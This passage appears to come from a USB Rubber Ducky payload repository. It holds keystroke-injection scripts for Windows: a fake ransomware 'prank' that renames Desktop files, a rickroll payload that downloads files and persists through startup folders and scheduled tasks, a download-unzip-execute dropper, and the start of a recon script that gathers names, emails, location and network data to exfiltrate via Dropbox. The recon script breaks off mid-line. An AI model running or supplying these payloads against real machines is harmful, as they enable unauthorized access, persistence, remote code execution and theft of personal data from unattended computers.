    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <link rel=\"icon\" type=\"image/svg+xml\" href=\"./favicon.svg\" />\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"./assets/css/global.css?v=1.0.0\" />\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"./assets/css/banner.css?v=1.0.0\" />\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"./assets/css/issue.css?v=1.0.0\" />\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"./assets/css/prompt.css?v=1.0.0\" />\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"./assets/css/off.css?v=1.0.0\" />\n    <title>eXit</title>\n</head>\n\n<body>\n    <main id=\"screen\">\n        <div id=\"banner\"></div>\n        <div class=\"issue\">\n            <p id=\"issue\"></p>\n        </div>\n        <div class=\"prompt\">\n            <span>&gt;&nbsp;</span>\n            <input type=\"text\" id=\"prompt\" autofocus=\"true\" />\n        </div>\n    </main>\n    <hr id=\"off\" size=\"10\" />\n    <script type=\"text/javascript\" src=\"./assets/js/constants.js?v=1.0.0\"></script>\n    <script type=\"text/javascript\" src=\"./assets/js/functions/sleep.js?v=1.0.0\"></script>\n    <script type=\"text/javascript\" src=\"./assets/js/functions/off.js?v=1.0.0\"></script>\n    <script type=\"text/javascript\" src=\"./assets/js/functions/stage.js?v=1.0.0\"></script>\n    <script type=\"text/javascript\" src=\"./assets/js/variables.js?v=1.0.0\"></script>\n    <script type=\"text/javascript\" src=\"./assets/js/main.js?v=1.0.0\"></script>\n</body>\n\n</html>"
  },
  {
    "path": "payloads/library/prank/placeholder",
    "content": ""
  },
  {
    "path": "payloads/library/prank/ratlocker/README.md",
    "content": "# Ratlocker (.ratl0ck3r)\n\nThis is a prank payload created by ratcode404(.github.io). It's use is to create a fake malware, locking files but keeping settings stored for easy recovering.\n\n```\n            ____()()\n           /      OO\n      ~~~~~\\_;m__m._>o\n```\n\nThe ratlocker adds ratcode file extensions, draws and sets background without the use of URLs or image download (avoid proxy blocking and detection). The original wallpaper will be backuped on \\pictures\\wallpaper.ratl0ck3r, so no files will be lost. The current setup only targets the files and folder structures on $HOME\\Desktop\\, but it could be easily extended by adjusting the path variable further down.\n\n![message](https://i.imgur.com/KYMRr9f.png)  \n  \n![fakelock](https://i.imgur.com/MBIQdDR.png)\n\n## Why ratl0ck3r\nThere are multiple reasons why ratl0ck3r is the best ducky-locker around to this date:\n\n* Requires no internet connection or proxy by-pass: Pictures are not downloaded or added to the stick in weird, wonky ways but rather drawn with commandline itself. All it needs is pre-installed Windows tools.\n* Easy recovering: All files (inclusive the changed background/wallpaper) are easily recovered in less than a few seconds, no family photo backgrounds will be ever lost; promise!\n* Unbreakable: I have been using this exact setup for weeks to annoy people who do not lock their devices. It has not broken a single time.\n* Runtime: The whole script finishes in less than 7.5 seconds, just plug it in, whistle a nice tune and be gone already.\n\n## Requirements:\n- Windows (7/8/8.1/10)\n- Unlocked device\n- No internet connection or proxy by-pass is needed as the wallpaper will be created in script\n\n## Recovering\nObviously, there is no key or tool needed to recover. All you have to do is to remove the .ratl0ck3r extention before the .original one and everything works again. The background will be stored in \\pictures\\wallpaper.ratl0ck3r to avoid accidential removial of any important backgrounds or family photos!\n\nTo quick-recover you can use this powershell command, but it's much more fun to watch them to it by hand:  \n`dir $HOME\\Desktop\\* | Rename-Item -NewName { $_.name.substring(0,$_.name.length-10) }`\n\nThe rat3ncrypt3er.bat does run this command and renames the wallpaper located in \\pictures\\ back to a .jpg, before one could set it as a background once again.\n\n"
  },
  {
    "path": "payloads/library/prank/ratlocker/payload.txt",
    "content": "REM Title:          Ratlocker\nREM Author:\t    Ratcode404(.github.io)\nREM Target:         Windows\nREM Description:    Adds ratcode file extensions, draws and sets background without the use of URLs or image download (avoid proxy blocking and detection). The original wallpaper will be backuped on \\pictures\\wallpaper.ratl0ck3r, so no files will be lost. The current setup only targets the files and folder structures on $HOME\\Desktop\\, but it could be easily extended by adjusting the path variable further down.\n\nREM Base delay after initiation and ps1 startup\nDELAY 250\nGUI d\nGUI r\nDELAY 100\nSTRING powershell.exe\nENTER\nDELAY 250\n\nREM Backup Wallpaper\nSTRING Copy-Item \"$HOME\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper\" -Destination $home\\pictures\\wallpaper.ratl0ck3r\nENTER\nDELAY 250\n\nREM Create new wallpaper\nSTRING Add-Type -AssemblyName System.Drawing\nENTER\nSTRING $filename = \"$home\\pictures\\ratl0ck3r.png\"\nENTER\nSTRING $bmp = new-object System.Drawing.Bitmap 1080,720\nENTER\nSTRING $font = new-object System.Drawing.Font Consolas,10\nENTER\nSTRING $brushBg = [System.Drawing.Brushes]::Black\nENTER\nSTRING $brushFg = [System.Drawing.Brushes]::Green\nENTER\nSTRING $graphics = [System.Drawing.Graphics]::FromImage($bmp)\nENTER\nSTRING $graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height)\nENTER\nSTRING $graphics.DrawString('Your device has been encrypted by ratlocker.\nENTER\nENTER\nSTRING            ____()()\nENTER\nSTRING          /      OO\nENTER\nSTRING     ~~~~~\\_;m__m._>o\nENTER\nENTER\nENTER\nSTRING Oops! Your files have been encrypted.ENTER\nENTER\nSTRING If you see this text, your files are no longer accessible. You might\nENTER\nSTRING have been looking for a way to recover your files, but do not waste\nENTER\nSTRING your time. No one will be able to recover them without a decrytion\nENTER\nSTRING service.\nENTER\nENTER\nSTRING We gurantee that you can recover all your files safely. All you need\nENTER\nSTRING to do is get the decryption password.\nENTER\nENTER\nSTRING Visit out web services at: fakerat404linkszt3xaxqzf2nm12.onion\nENTER\nENTER\nSTRING Your personal installation key #1:\nENTER\nENTER\nSTRING b0d549572a40f93aa57400dbe43ee72a5e545f47765ef5fb7d17c7e83001cb3d',$font,$brushFg,10,10)\nENTER\nSTRING $graphics.Dispose()\nENTER\nSTRING $bmp.Save($filename)\nENTER\nDELAY 500\n\nREM Set new wallpaper\nSTRING $MyWallpaper=\"$home\\pictures\\ratl0ck3r.png\"\nENTER\nSTRING $code = @'\nENTER\nSTRING using System.Runtime.InteropServices;\nENTER\nSTRING namespace Win32{\nENTER\nSTRING      public class Wallpaper{\nENTER\nSTRING         [DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\nENTER\nSTRING          static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ;\nENTER\nSTRING          public static void SetWallpaper(string thePath){\nENTER\nSTRING            SystemParametersInfo(20,0,thePath,3);\nENTER\nSTRING          }\nENTER\nSTRING     }\nENTER\nSTRING  } \nENTER\nSTRING '@\nENTER\nSTRING add-type $code \nENTER\nSTRING [Win32.Wallpaper]::SetWallpaper($MyWallpaper)\nENTER\nDELAY 500\n\nREM Add ratl0ck3r extension\nSTRING dir $HOME\\Desktop\\* | Rename-Item -NewName {$_.name + \".ratl0ck3r\"}\nENTER\n"
  },
  {
    "path": "payloads/library/prank/ratlocker/rat3ncrypt3r.bat",
    "content": "dir $HOME\\Desktop\\* | Rename-Item -NewName { $_.name.substring(0,$_.name.length-10) }\ndir $HOME\\pictures\\wallpaper.ratl0ck3r | Rename-Item -NewName { $_.name.substring(0,$_.name.length-10) }\ndir $HOME\\pictures\\wallpaper | Rename-Item -NewName {$_.name - \".jpg\"}\n"
  },
  {
    "path": "payloads/library/prank/rickroll/payload.txt",
    "content": "REM Rick Roll by Thomas McNeela\nREM https://github.com/tommym89/Rubber-Ducky_RickRoll\nDELAY 8000\nGUI r\nDELAY 200\nSTRING cmd\nENTER\nDELAY 200\nREM create folder to hold payloads\nSTRING mkdir \"%USERPROFILE%\\Music\\tmp\"\nENTER\nREM write download script\nSTRING cd %tmp% && copy con dlrick.vbs\nENTER\nREM get user home directory\nENTER\nSTRING Dim oShell: Set oShell = CreateObject(\"WScript.Shell\")\nENTER\nSTRING Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings(\"%USERPROFILE%\")\nENTER\nREM initialize HTTP objects\nENTER\nSTRING Dim xHttp: Set xHttp = CreateObject(\"Microsoft.XMLHTTP\")\nENTER\nSTRING Dim bStrm: Set bStrm = CreateObject(\"Adodb.Stream\")\nENTER\nREM open mp3 stream\nSTRING xHttp.Open \"GET\", \"https://qoret.com/dl/uploads/2019/07/Rick_Astley_-_Never_Gonna_Give_You_Up_Qoret.com.mp3\", False\nENTER\nSTRING xHttp.Send\nENTER\nREM download and write to file\nSTRING With bStrm\nENTER\nSTRING .type = 1\nENTER\nSTRING .open\nENTER\nSTRING .write xHttp.responseBody\nENTER\nSTRING .saveToFile PRFL + \"\\Music\\tmp\\rick.mp3\", 2\nENTER\nSTRING End With\nENTER\nDELAY 100\nCTRL Z\nENTER\nSTRING copy con dlnir.vbs\nENTER\nREM get user home directory\nENTER\nSTRING Dim oShell: Set oShell = CreateObject(\"WScript.Shell\")\nENTER\nSTRING Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings(\"%USERPROFILE%\")\nENTER\nREM initialize HTTP objects\nENTER\nSTRING Dim xHttp: Set xHttp = CreateObject(\"Microsoft.XMLHTTP\")\nENTER\nSTRING Dim bStrm: Set bStrm = CreateObject(\"Adodb.Stream\")\nENTER\nREM open mp3 stream\nSTRING xHttp.Open \"GET\", \"http://www.nirsoft.net/utils/nircmd-x64.zip\", False\nENTER\nSTRING xHttp.Send\nENTER\nREM download and write to file\nSTRING With bStrm\nENTER\nSTRING .type = 1\nENTER\nSTRING .open\nENTER\nSTRING .write xHttp.responseBody\nENTER\nSTRING .saveToFile PRFL + \"\\Music\\tmp\\nircmd-x64.zip\", 2\nENTER\nSTRING End With\nENTER\nDELAY 100\nCTRL Z\nENTER\nREM download mp3 and nircmd\nSTRING wscript dlnir.vbs && wscript dlrick.vbs\nENTER\nDELAY 7000\nREM extract nircmd\nSTRING powershell.exe -nologo -noprofile -command \"& { Add-Type -A 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('%USERPROFILE%\\Music\\tmp\\nircmd-x64.zip', '%USERPROFILE%\\Music\\tmp'); }\"\nENTER\nDELAY 750\nREM write volume up payload\nSTRING copy con volup.bat\nENTER\nSTRING :loop\nENTER\nSTRING %USERPROFILE%\\Music\\tmp\\nircmd.exe mutesysvolume 0\nENTER\nSTRING %USERPROFILE%\\Music\\tmp\\nircmd.exe setsysvolume 65535\nENTER\nSTRING timeout /t 5\nENTER\nSTRING goto loop\nENTER\nDELAY 100\nCTRL z\nENTER\nSTRING move volup.bat %USERPROFILE%\\Music\\tmp\\volup.bat\nENTER\nREM hide payload folder\nSTRING copy con hidefiles.vbs\nENTER\nSTRING Dim oShell: Set oShell = CreateObject(\"WScript.Shell\")\nENTER\nSTRING Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings(\"%USERPROFILE%\")\nENTER\nSTRING Dim oFSo: Set oFSo = CreateObject(\"Scripting.FileSystemObject\")\nENTER\nSTRING Dim tmpDir: Set tmpDir = oFSo.GetFolder(PRFL + \"\\Music\\tmp\")\nENTER\nSTRING tmpDir.attributes = tmpDir.attributes + 2\nENTER\nDELAY 100\nCTRL z\nENTER\nSTRING wscript hidefiles.vbs\nENTER\nREM write WMP payload\nSTRING copy con rickyou.vbs\nENTER\nREM get user profile directory\nSTRING Dim oShell: Set oShell = CreateObject(\"WScript.Shell\")\nENTER\nSTRING Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings(\"%USERPROFILE%\")\nENTER\nREM start playing on loop\nSTRING While true\nENTER\nSTRING Dim oPlayer: Set oPlayer = CreateObject(\"WMPlayer.OCX\")\nENTER\nSTRING oPlayer.URL = PRFL + \"\\Music\\tmp\\rick.mp3\"\nENTER\nSTRING oPlayer.controls.play\nENTER\nSTRING While oPlayer.playState <> 1 ' 1 = Stopped\nENTER\nSTRING WScript.Sleep 100\nENTER\nSTRING Wend\nENTER\nSTRING oPlayer.close\nENTER\nSTRING Wend\nENTER\nDELAY 100\nCTRL z\nENTER\nREM write vbs payload to hide cmd window for volup.bat\nSTRING copy con volup.vbs\nENTER\nSTRING CreateObject(\"WScript.Shell\").Run \"%USERPROFILE%\\Music\\tmp\\volup.bat\", 0, False\nENTER\nDELAY 100\nCTRL z\nENTER\nREM move payloads to startup directory\nSTRING copy rickyou.vbs \"%USERPROFILE%\\Music\\tmp\\rickyou.vbs\"\nENTER\nSTRING move rickyou.vbs \"%SystemDrive%\\Users\\%UserName%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rickyou.vbs\"\nENTER\nSTRING copy volup.vbs \"%USERPROFILE%\\Music\\tmp\\volup.vbs\"\nENTER\nSTRING move volup.vbs \"%SystemDrive%\\Users\\%UserName%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\volup.vbs\"\nENTER\nREM cleanup\nSTRING del dlrick.vbs\nENTER\nSTRING del dlnir.vbs\nENTER\nSTRING del hidefiles.vbs\nENTER\nSTRING del %USERPROFILE%\\Music\\tmp\\NirCmd.chm\nENTER\nSTRING del %USERPROFILE%\\Music\\tmp\\nircmdc.exe\nENTER\nSTRING del %USERPROFILE%\\Music\\tmp\\nircmd-x64.zip\nENTER\nSTRING exit\nENTER\nREM add to task scheduler to run after unlocking workstation\nDELAY 250\nGUI r\nDELAY 250\nSTRING taskschd.msc\nENTER\nDELAY 2000\nALT a\nSTRING b\nDELAY 1000\nSTRING rr\nENTER\nUP\nENTER\nSTRING s\nTAB\nTAB\nSTRING 4801\nENTER\nENTER\nSTRING wscript\nTAB\nTAB\nSTRING %USERPROFILE%\\Music\\tmp\\rickyou.vbs\nENTER\nENTER\nDELAY 500\nALT a\nSTRING b\nDELAY 1000\nSTRING vu\nENTER\nUP\nENTER\nSTRING s\nTAB\nTAB\nSTRING 4801\nENTER\nENTER\nSTRING wscript\nTAB\nTAB\nSTRING %USERPROFILE%\\Music\\tmp\\volup.vbs\nENTER\nENTER\nDELAY 500\nALT f\nSTRING x\n"
  },
  {
    "path": "payloads/library/prank/silent_rickroll/README.md",
    "content": "# Silent Roll\n***\n\nThis script does the following actions respectively\n\n+ Raises volume to maximum\n+ Creates Batch file\n+ Runs Batch file\n***\n\n## Description\nThe script was thought in a way that the payload could be executed in machines that have some level of protection and wont allow the user to open Run Dialog or CMD straight away\n\nSetting the volume to maximum is used with keystroke injection.\n\nThe Batch file created (see bellow) executes itself on a minimized window by default, the first delay specifies how long the batch file will take to execute the rest of the code.\nFollowing the first line of code which starts playing \"Never Gonna Give You Up\" using whichever default browser the user has, there is another delay simply to allow that the video will play automatically before another window is open.\nThe last line of code opens powershell and executes commands to open Microsoft Edge, since it is a browser that is always present on Windows and would help in preventing the user to end the rickroll easily.\nEdge will open a page which leads to a windows fake update page, which will also be set to full screen using powershell commands.\n\n```console\nif not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start \"\" /min \"%~dpnx0\" %* && exit\nTIMEOUT /T 10\nSTART \"\" https://www.youtube.com/watch?v=xm3YgoEiEDc\nTIMEOUT /T 3\nPowershell -command \"$wshell = New-Object -ComObject wscript.shell;[system.Diagnostics.Process]::Start(\\\"msedge\\\",\\\"about:blank\\\");Sleep 1;$wshell.SendKeys('^\"{l}\"');Sleep 1;$wshell.SendKeys('https://fakeupdate.net/win10ue/');$wshell.SendKeys('\"{Enter}\"');$wshell.SendKeys('\"{F11}\"')\"\nexit\n```\n\nThe rest of the script then saves the Batch file to the Documents folder, away from a user's immediate view. Sadly this part of the script encountered problems using the REPEAT function in which \"TAB REPEAT 8\" did not work as intended and the script always got stuck to File Explorer's search bar, never being able to select the folder and save the file properly so \"REPEAT\" had to be removed in this instance\n\nThe batch file's name is then searched and executed, the delay can give the attacker enough time to remove the device from the machine and be far away before it executes\n\n***\n[Ducktoolkit][1] utilized to encode scripts\n\n### [Hak5 Ducky script references][2]\n\n[1]: https://ducktoolkit.com/encode\n[2]: https://docs.hak5.org/usb-rubber-ducky-1/the-ducky-script-language/ducky-script-quick-reference\n"
  },
  {
    "path": "payloads/library/prank/silent_rickroll/payload.txt",
    "content": "REM Author: victor-a-c\nREM Title: silent_rickroll\nREM Target: Windows10/11\nREM Props: Hak5\nREM Version: 2.0\nREM Category: Prank\n\nREM Description:\nREM the payload sets volume to maximum\nREM creates batch file with delay which will run while the prompt window is minimized\nREM after the first delay ends Never Gonna Give You Up starts playing on default browser\nREM a few seconds later it opens edge (present in all windows computers) and opens fake windows update on full screen\nREM \"GUI SPACE\" works for computers with locked prompts, which allows for program search\nREM \"GUI r\" should be used for regular computers\n\nREM set volume to max as fast as possible\nDELAY 2000\nGUI\nDELAY 500\nSTRING adjust volume\nDELAY 100\nENTER\nDELAY 1000\nTAB\nREPEAT 10\nDELAY 1000\nRIGHTARROW\nREPEAT 120\nDELAY 100\nALT F4\n\nDELAY 1500\nREM creates batch file\nGUI\nDELAY 100\nSPACE\nDELAY 1000\nSTRING notepad\nDELAY 500\nENTER\nDELAY 1000\nREM batch file commands\nREM uses just \"start\" batch command to open website on default browser\nREM double quotes after \"start\" are necessary for the command to work\nREM Batch file will run while minimized\nSTRING if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start \"\" /min \"%~dpnx0\" %* && exit\nDELAY 100\nENTER\nREM batch delay for when \"Never Gonna Give You Up\" will start being played\nREM enough time for the ducky to be removed after the script is executed and allow for a safe getaway\nSTRING TIMEOUT /T 30\nDELAY 500\nENTER\nREM on default browser\nSTRING START \"\" https://www.youtube.com/watch?v=xm3YgoEiEDc\nDELAY 10\nENTER\nSTRING TIMEOUT /T 3\nENTER\nDELAY 500\nREM Opens microsoft edge, opens fake windows update and sets it full screen\nSTRING Powershell -command \"$wshell = New-Object -ComObject wscript.shell;[system.Diagnostics.Process]::Start(\\\"msedge\\\",\\\"about:blank\\\");Sleep 1;$wshell.SendKeys('^\"{l}\"');Sleep 1;$wshell.SendKeys('https://fakeupdate.net/win10ue/');$wshell.SendKeys('\"{Enter}\"');$wshell.SendKeys('\"{F11}\"')\"\nENTER\nSTRING exit\nDELAY 1000\nREM save as\nALT F\nDOWNARROW\nREPEAT 3\nDELAY 100\nENTER\nSTRING sr.bat\nDELAY 500\nTAB\nDELAY 100\nDOWNARROW\nREPEAT 1\nENTER\nREM\nREM unfortunately \"TAB REPEAT 9\" causes the script to get stuck to file explorer's search bar\nREM splitting the repeat and adding delays between them did not solve it\nREM\nTAB\nDELAY 150\nTAB\nDELAY 150\nTAB\nDELAY 150\nTAB\nDELAY 150\nTAB\nDELAY 150\nTAB\nDELAY 150\nTAB\nDELAY 150\nTAB\nDELAY 150\nTAB\nREM selects documents folder\nDELAY 200\nSTRING doc\nENTER\nDELAY 1000\nALT F4\n\n\nDELAY 500\nREM execute the batch file\nGUI\nDELAY 500\nSPACE\nSTRING sr.b\nDELAY 500\nSTRING at\nDELAY 1000\nENTER\n"
  },
  {
    "path": "payloads/library/prank/the_f_bomb/payload.txt",
    "content": "REM Title: the_f_bomb\nREM Author: @tjgeirk\nREM Description: The littlest payload known to duck-kind\nREM it's f_ing hilarious - works on all windows machines with powershell\nDELAY 300\nGUI r\nDELAY 100\nSTRING powershell while(1){ii **}\nENTER\n"
  },
  {
    "path": "payloads/library/prank/windows_repair/payload.txt",
    "content": "REM Title: Windows Repair\nREM Author: yadhumanikandan\nREM Description: code will open a bowser and show the windows breakdown image in full screen mode\n\nDELAY 1000\nGUI r\nDELAY 500\nSTRING https://upload.wikimedia.org/wikipedia/commons/5/56/Bsodwindows10.png\nENTER\nDELAY 1000\nF11\nDELAY 500\n"
  },
  {
    "path": "payloads/library/recon/Drop_Zip_Execute/payload.txt",
    "content": "REM Name: DROP-ZIP-EXCECUTE\nREM Author: Lumen\nREM Description: Downloads program in a zip file, then unzips and executes it\nREM Target: Windows 10 powershell\nDELAY 1000\nGUI r\nDELAY 300\nSTRING powershell\nDELAY 300\nENTER\nDELAY 600\nSTRING Invoke-WebRequest -Uri <ZIP URL> -OutFile \"~\\Documents\\My Games\\file.zip\"; Expand-Archive -Path \"~\\Documents\\My Games\\file.zip\" -DestinationPath \"~\\Documents\\My Games\\file\"; Remove-Item \"~\\Documents\\My Games\\file.zip\"; & '<EXE PATH>'\nENTER\nREM Invoke-WebRequest gets and saves the content of the URI given to it\nREM Pasting a dropbox link works well here. Just get the share link and change ?dl=0 to ?dl=1\nREM Expand-Archive Unzips path to destinationPath\nREM Remove-Item deletes the zip file (just to clean up a bit)\nREM & tells powershell to execute the given path\nREM since powershelgl opens at C:\\Users\\%user%, a relative path can be used from there\nREM using %user% seems to set off a red flag in powershell, but relative paths work well\nREM ; allows multiple commands to be run one after the other, so rather than running one and \nREM guessing a wait time, the command is entered and ran all at once.\nREM once the command is typed and the download begins, the ducky can be removed and the\nREM computer will take care of the rest through the given instructions\nREM Best when combined with a well made BATCH file to shift files around, make multiple copies,\nREM shortcuts, and move them into startup folders ;)\n"
  },
  {
    "path": "payloads/library/recon/Tree_of_Knowledge/-RD-ADV-Recon/ADV-Recon.ps1",
    "content": "﻿############################################################################################################################################################                      \r\n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \r\n# Title        : ADV-Recon         | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \r\n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \r\n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\r\n# Category     : Recon             | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\r\n# Target       : Windows 10,11     |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \r\n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \r\n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \r\n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \r\n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \r\n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\r\n#                                                                                                            #         /       \\   /     ~ \\               #\r\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \r\n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \r\n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \r\n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\r\n############################################################################################################################################################\r\n                                                                                                                                                                                                                                               \r\n<#\r\n\r\n.SYNOPSIS\r\n\tThis is an advanced recon of a target PC and exfiltration of that data\r\n\r\n.DESCRIPTION \r\n\tThis program gathers details from target PC to include everything you could imagine from wifi passwords to PC specs to every process running\r\n\tAll of the gather information is formatted neatly and output to a file \r\n\tThat file is then exfiltrated to cloud storage via DropBox\r\n\r\n.Link\r\n\thttps://developers.dropbox.com/oauth-guide\t\t# Guide for setting up your DropBox for uploads\r\n#>\r\n\r\n############################################################################################################################################################\r\n\r\n$DropBoxAccessToken = \"YOUR-DROPBOX-ACCESS-TOKEN\"\r\n\r\n############################################################################################################################################################\r\n\r\n function Get-fullName {\r\n\r\n    try {\r\n\r\n    $fullName = Net User $Env:username | Select-String -Pattern \"Full Name\";$fullName = (\"$fullName\").TrimStart(\"Full Name\")\r\n\r\n    }\r\n \r\n # If no name is detected function will return $env:UserName \r\n\r\n    # Write Error is just for troubleshooting \r\n    catch {Write-Error \"No name was detected\" \r\n    return $env:UserName\r\n    -ErrorAction SilentlyContinue\r\n    }\r\n\r\n    return $fullName \r\n\r\n}\r\n\r\n$FN = Get-fullName\r\n\r\n#------------------------------------------------------------------------------------------------------------------------------------\r\n\r\nfunction Get-email {\r\n    \r\n    try {\r\n\r\n    $email = GPRESULT -Z /USER $Env:username | Select-String -Pattern \"([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})\" -AllMatches;$email = (\"$email\").Trim()\r\n\treturn $email\r\n    }\r\n\r\n# If no email is detected function will return backup message for sapi speak\r\n\r\n    # Write Error is just for troubleshooting\r\n    catch {Write-Error \"An email was not found\" \r\n    return \"No Email Detected\"\r\n    -ErrorAction SilentlyContinue\r\n    }        \r\n}\r\n\r\n$EM = Get-email\r\n\r\n#------------------------------------------------------------------------------------------------------------------------------------\r\n\r\nfunction Get-GeoLocation{\r\n\ttry {\r\n\tAdd-Type -AssemblyName System.Device #Required to access System.Device.Location namespace\r\n\t$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object\r\n\t$GeoWatcher.Start() #Begin resolving current locaton\r\n\r\n\twhile (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {\r\n\t\tStart-Sleep -Milliseconds 100 #Wait for discovery.\r\n\t}  \r\n\r\n\tif ($GeoWatcher.Permission -eq 'Denied'){\r\n\t\tWrite-Error 'Access Denied for Location Information'\r\n\t} else {\r\n\t\t$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.\r\n\t}\r\n\t}\r\n    # Write Error is just for troubleshooting\r\n    catch {Write-Error \"No coordinates found\" \r\n    return \"No Coordinates found\"\r\n    -ErrorAction SilentlyContinue\r\n    } \r\n\r\n}\r\n\r\n$GL = Get-GeoLocation\r\n\r\n############################################################################################################################################################\r\n\r\n# Get nearby wifi networks\r\n\r\ntry\r\n{\r\n$NearbyWifi = (netsh wlan show networks mode=Bssid | ?{$_ -like \"SSID*\" -or $_ -like \"*Authentication*\" -or $_ -like \"*Encryption*\"}).trim()\r\n}\r\ncatch\r\n{\r\n$NearbyWifi=\"No nearby wifi networks detected\"\r\n}\r\n\r\n############################################################################################################################################################\r\n\r\n# Get info about pc\r\n\r\n# Get IP / Network Info\r\ntry\r\n{\r\n$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content\r\n}\r\ncatch\r\n{\r\n$computerPubIP=\"Error getting Public IP\"\r\n}\r\n\r\n$computerIP = get-WmiObject Win32_NetworkAdapterConfiguration|Where {$_.Ipaddress.length -gt 1}\r\n\r\n############################################################################################################################################################\r\n\r\n$IsDHCPEnabled = $false\r\n$Networks =  Get-WmiObject Win32_NetworkAdapterConfiguration -Filter \"DHCPEnabled=$True\" | ? {$_.IPEnabled}\r\nforeach ($Network in $Networks) {\r\nIf($network.DHCPEnabled) {\r\n$IsDHCPEnabled = $true\r\n  }\r\n$MAC = ipconfig /all | Select-String -Pattern \"physical\" | select-object -First 1; $MAC = [string]$MAC; $MAC = $MAC.Substring($MAC.Length - 17)\r\n}\r\n\r\n############################################################################################################################################################\r\n\r\n#Get System Info\r\n$computerSystem = Get-CimInstance CIM_ComputerSystem\r\n$computerBIOS = Get-CimInstance CIM_BIOSElement\r\n\r\n$computerOs=Get-WmiObject win32_operatingsystem | select Caption, CSName, Version, @{Name=\"InstallDate\";Expression={([WMI]'').ConvertToDateTime($_.InstallDate)}} , @{Name=\"LastBootUpTime\";Expression={([WMI]'').ConvertToDateTime($_.LastBootUpTime)}}, @{Name=\"LocalDateTime\";Expression={([WMI]'').ConvertToDateTime($_.LocalDateTime)}}, CurrentTimeZone, CountryCode, OSLanguage, SerialNumber, WindowsDirectory  | Format-List\r\n$computerCpu=Get-WmiObject Win32_Processor | select DeviceID, Name, Caption, Manufacturer, MaxClockSpeed, L2CacheSize, L2CacheSpeed, L3CacheSize, L3CacheSpeed | Format-List\r\n$computerMainboard=Get-WmiObject Win32_BaseBoard | Format-List\r\n\r\n$computerRamCapacity=Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { \"{0:N1} GB\" -f ($_.sum / 1GB)}\r\n$computerRam=Get-WmiObject Win32_PhysicalMemory | select DeviceLocator, @{Name=\"Capacity\";Expression={ \"{0:N1} GB\" -f ($_.Capacity / 1GB)}}, ConfiguredClockSpeed, ConfiguredVoltage | Format-Table\r\n\r\n############################################################################################################################################################\r\n\r\n# Get HDDs\r\n$driveType = @{\r\n   2=\"Removable disk \"\r\n   3=\"Fixed local disk \"\r\n   4=\"Network disk \"\r\n   5=\"Compact disk \"}\r\n$Hdds = Get-WmiObject Win32_LogicalDisk | select DeviceID, VolumeName, @{Name=\"DriveType\";Expression={$driveType.item([int]$_.DriveType)}}, FileSystem,VolumeSerialNumber,@{Name=\"Size_GB\";Expression={\"{0:N1} GB\" -f ($_.Size / 1Gb)}}, @{Name=\"FreeSpace_GB\";Expression={\"{0:N1} GB\" -f ($_.FreeSpace / 1Gb)}}, @{Name=\"FreeSpace_percent\";Expression={\"{0:N1}%\" -f ((100 / ($_.Size / $_.FreeSpace)))}} | Format-Table DeviceID, VolumeName,DriveType,FileSystem,VolumeSerialNumber,@{ Name=\"Size GB\"; Expression={$_.Size_GB}; align=\"right\"; }, @{ Name=\"FreeSpace GB\"; Expression={$_.FreeSpace_GB}; align=\"right\"; }, @{ Name=\"FreeSpace %\"; Expression={$_.FreeSpace_percent}; align=\"right\"; }\r\n\r\n#Get - Com & Serial Devices\r\n$COMDevices = Get-Wmiobject Win32_USBControllerDevice | ForEach-Object{[Wmi]($_.Dependent)} | 